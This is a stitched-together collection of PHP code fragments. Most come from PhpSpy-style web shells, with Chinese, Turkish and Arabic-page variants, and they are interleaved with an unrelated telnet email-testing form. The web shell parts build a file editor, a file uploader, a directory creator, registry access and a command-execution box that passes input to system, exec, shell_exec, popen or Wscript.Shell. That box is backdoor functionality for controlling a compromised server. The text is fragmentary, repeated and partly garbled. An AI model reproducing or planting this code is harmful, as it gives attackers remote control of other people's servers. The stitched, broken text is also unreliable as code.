} ///////// $pathname = str_replace('\\', '/', dirname(__FILE__)); //////// if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir = $_post['dir']; $nowpath = getPath($pathname, $dir); } /////// $dir_writeable = dir_writeable($nowpath) ? "m" : "mm"; $phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; $reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\"mohajer22</a>" : ""; $tb = new FORMS(); $tb->tableheader(); $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>' . $_SERVER['HTTP_HOST'] . '</b></td><td><b>' . $mohajer . '</b></td><td align="right"><b>' . $_SERVER['REMOTE_ADDR'] . '</b></td></tr></table>', 'center', 'top'); $tb->tdbody("<FORM method='POST' action='{$REQUEST_URI}' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value=' dir ' id=input><INPUT type='submit'name='erne' value='erne ' id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>"); $tb->tablefooter(); $tb->tableheader(); $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Dosya Duzenle Yada Olustur & Dosya Yukle & Dizin Olustur</b></td></tr></table>', 'center', 'top'); $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); $tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>Dosya Duzenle weya Olustur:</FONT>' . $tb->makehidden('dir', getcwd()) . ' ' . $tb->makeinput('editfile') . ' ' . $tb->makeinput('Edit', 'Duzenle', '', 'submit'))); $tb->headerform(array('action' => '?dir=' . urlencode($dir), 'enctype' => 'multipart/form-data', 'content' => '<FONT COLOR=#9C9C9C>Dosya Yukle:</FONT>' . $tb->makeinput('uploadfile', '', '', 'file') . ' ' . $tb->makeinput('doupfile', 'Ekle', '', 'submit') . $tb->makeinput('uploaddir', $dir, '', 'hidden'))); $tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>Dizin Olustur:</FONT> ' . $tb->makeinput('newdirectory') . ' ' . $tb->makeinput('createdirectory', 'yenidizin', '', 'submit'))); $execfuncs = substr(PHP_OS, 0, 3) == 'WIN' ? array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen', 'wscript' => 'Wscript.Shell') : array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen'); $tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>cmd:</FONT>' . $tb->makeselect(array('name' => 'execfunc', 'option' => $execfuncs, 'selected' => $execfunc)) . ' ' . $tb->makeinput('command') . ' ' . $tb->makeinput('Run', 'command', '', 'submit'))); $tb->tdbody("</td></tr></table>"); if (!isset($_GET['action']) or empty($_GET['action']) or $_GET['action'] == "dir") { $tb->tableheader();
} // 程序目录 $pathname = str_replace('\\', '/', dirname(__FILE__)); // 获取当前路径 if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir = $_GET['dir']; $nowpath = getPath($pathname, $dir); } // 判断读写情况 $dir_writeable = dir_writeable($nowpath) ? "可写" : "不可写"; $phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; $reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\">注册表操作</a>" : ""; $tb = new FORMS(); ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>PhpSpy Ver 2006</title> <style type="text/css"> body,td { font-family: "Tahoma"; font-size: "12px"; line-height: "150%"; } .smlfont { font-family: "Tahoma"; font-size: "11px"; }
} mysql_close(); exit; } $pathname = str_replace('\\', '/', dirname(__FILE__)); if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir = $_GET['dir']; $nowpath = getPath($pathname, $dir); } $dir_writeable = dir_writeable($nowpath) ? "" : "??? C????CE´"; $phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; $reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\">EC? I??</a>" : ""; $tb = new FORMS(); ?> <html> <head> <title>www.securedeath.com</title> <meta http-equiv="Content-Language" content="ar-sa"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> <meta name="GENERATOR" content="SiteMaker"><meta http-equiv="Content-Language" content="ar-sa"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> <meta name="GENERATOR" content="SiteMaker"> <STYLE> body,td { font-family: "Tahoma"; font-size: "12px"; line-height: "150%"; }
<?php define('output', 'html'); require_once __DIR__ . '/../../core/core.php'; Req('class/telnet_tester.class.php', __DIR__); echo www::ScriptHead('Telnet Tester'); if (!isset($_POST['ip'])) { $F = new FORMS('TelNetTest', 'Telnet Email Testing', false, 500); $F->Text('ip', ['IP Address' => false], false); $F->Text('ehlo', ['EHLO' => false], false); $F->Text('mailfrom', ['Mail From' => false], false); $F->Text('to', ['To' => false], false); $F->Text('from', ['From' => false], false); $F->Text('subject', ['Subject Line' => false], false); $F->write('<b style="padding:25px 0px 0px;">Additional Headers</b>'); $F->Textarea('headers', false, false, 460, 100); $F->write('<b style="padding:25px 0px 0px;">Body</b>'); $F->Textarea('body', false, false, 460, 250); $F->Button('TelNetTest', 'send test'); $F->JS("\$('button#TelNetTest').click(function(){\n var ip = \$('#ip').val();\n var ehlo = \$('#ehlo').val();\n var from = \$('#from').val();\n var to = \$('#to').val();\n var mailfrom = \$('#mailfrom').val();\n var headers = \$('#headers').val();\n var subject = \$('#subject').val();\n var body = \$('#body').val();\n \$('td#results').html('<h3>Working... Please Wait...</h3>');\n \$.post(window.location.href,{ip:ip,ehlo:ehlo,from:from,to:to,mailfrom:mailfrom,headers:headers,body:body,subject:subject},function(data){\n \$('td#results').html(data);\n });\n });"); $F = $F->PrintForm(); echo www::Alt("\n <table>\n <tr>\n <td>" . $F . "</td>\n <td id=\"results\"></td>\n\t </tr>\n </table>"); } else { $TNT = new TelNetTest($_POST); $TNT->SendMail(); }
} // 程序目录 $pathname = str_replace('\\', '/', dirname(__FILE__)); // 获取当前路径 if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir = $_GET['dir']; $nowpath = getPath($pathname, $dir); } // 判断读写情况 $dir_writeable = dir_writeable($nowpath) ? "可写" : "不可写"; $phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; $reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\">注册表操作</a>" : ""; $tb = new FORMS(); ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <style type="text/css"> body{ BACKGROUND-COLOR: #F5F5F5; COLOR: #3F3849; font-family: "Verdana", "Tahoma", "宋体"; font-size: "12px"; line-height: "140%"; } TD {FONT-FAMILY: "Verdana", "Tahoma", "宋体"; FONT-SIZE: 12px; line-height: 140%;} .smlfont {
} // 程序目录 $pathname = str_replace('\\', '/', dirname(__FILE__)); // 获取当前路径 if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir = $_GET['dir']; $nowpath = getPath($pathname, $dir); } // 判断读写情况 $dir_writeable = dir_writeable($nowpath) ? "可写" : "不可写"; $phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; $reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\">注册表操作</a>" : ""; $tb = new FORMS(); ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>http://<?php echo $_SERVER['HTTP_HOST']; ?> _蟰' </title> <style type="text/css"> body{ BACKGROUND-COLOR: #F5F5F5; COLOR: #3F3849; font-family: "Verdana", "Tahoma", "宋体"; font-size: "12px";